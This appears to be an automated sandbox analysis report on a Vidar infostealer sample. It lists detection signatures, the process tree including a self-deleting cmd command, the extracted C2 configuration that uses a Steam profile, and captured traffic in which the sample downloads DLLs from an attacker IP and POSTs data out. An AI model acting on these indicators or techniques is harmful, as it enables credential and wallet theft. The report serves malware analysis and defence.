Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1445903
MD5:	f4fb6b518e2e550467f533124e1f80f4
SHA1:	964e735dd9410e07536e46b9f50c65fed148bcd7
SHA256:	0a456f0fee171826bb44c9c2e1d5e7b95c0862b67d9dd75a843dec035224bb74
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Opens network shares

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7144 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F4FB6B518E2E550467F533124E1F80F4)

RegAsm.exe (PID: 5768 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 4996 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBFCBGCGIJKJ" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2276 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "c21b45a432889af65aa05cd66920d0a2", "Version": "9.8"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x30116:$x5: vchost.exe 0x31116:$x5: vchost.exe
00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x221e8:$s2: HAL9TH
00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7144	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7144	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5768	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5768	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5768	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
2.2.RegAsm.exe.400000.0.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x30116:$x5: vchost.exe 0x31116:$x5: vchost.exe
2.2.RegAsm.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x221e8:$s2: HAL9TH
2.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
2.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
0.2.file.exe.130000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.130000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x44e08:$s1: JohnDoe 0x44e00:$s2: HAL9TH
Click to see the 2 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "c21b45a432889af65aa05cd66920d0a2", "Version": "9.8"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004062A5 CryptUnprotectData,LocalAlloc,LocalFree,	2_2_004062A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00410DAC CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	2_2_00410DAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406242 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00406242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004082DE memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,PK11_FreeSlot,lstrcat,	2_2_004082DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040245C memset,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	2_2_0040245C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC46C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6CC46C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6CD9A9A0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.6:49715 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00144493 FindFirstFileExW,	0_2_00144493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	2_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004162AF _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004162AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004153F6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	2_2_004153F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B463 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040B463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004094E5 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_004094E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040C679 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040C679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415AC2 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_00415AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409F72 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_00409F72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409900 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00409900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040A981 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040A981
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415E66 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00415E66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00415843 _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

2_2_00415843

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199689717899

Source: global traffic

HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 78.47.123.174 78.47.123.174

Source: Joe Sandbox View

ASN Name: AKAMAI-ASN1EU AKAMAI-ASN1EU

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 6949Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 1025Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 453Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 114541Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

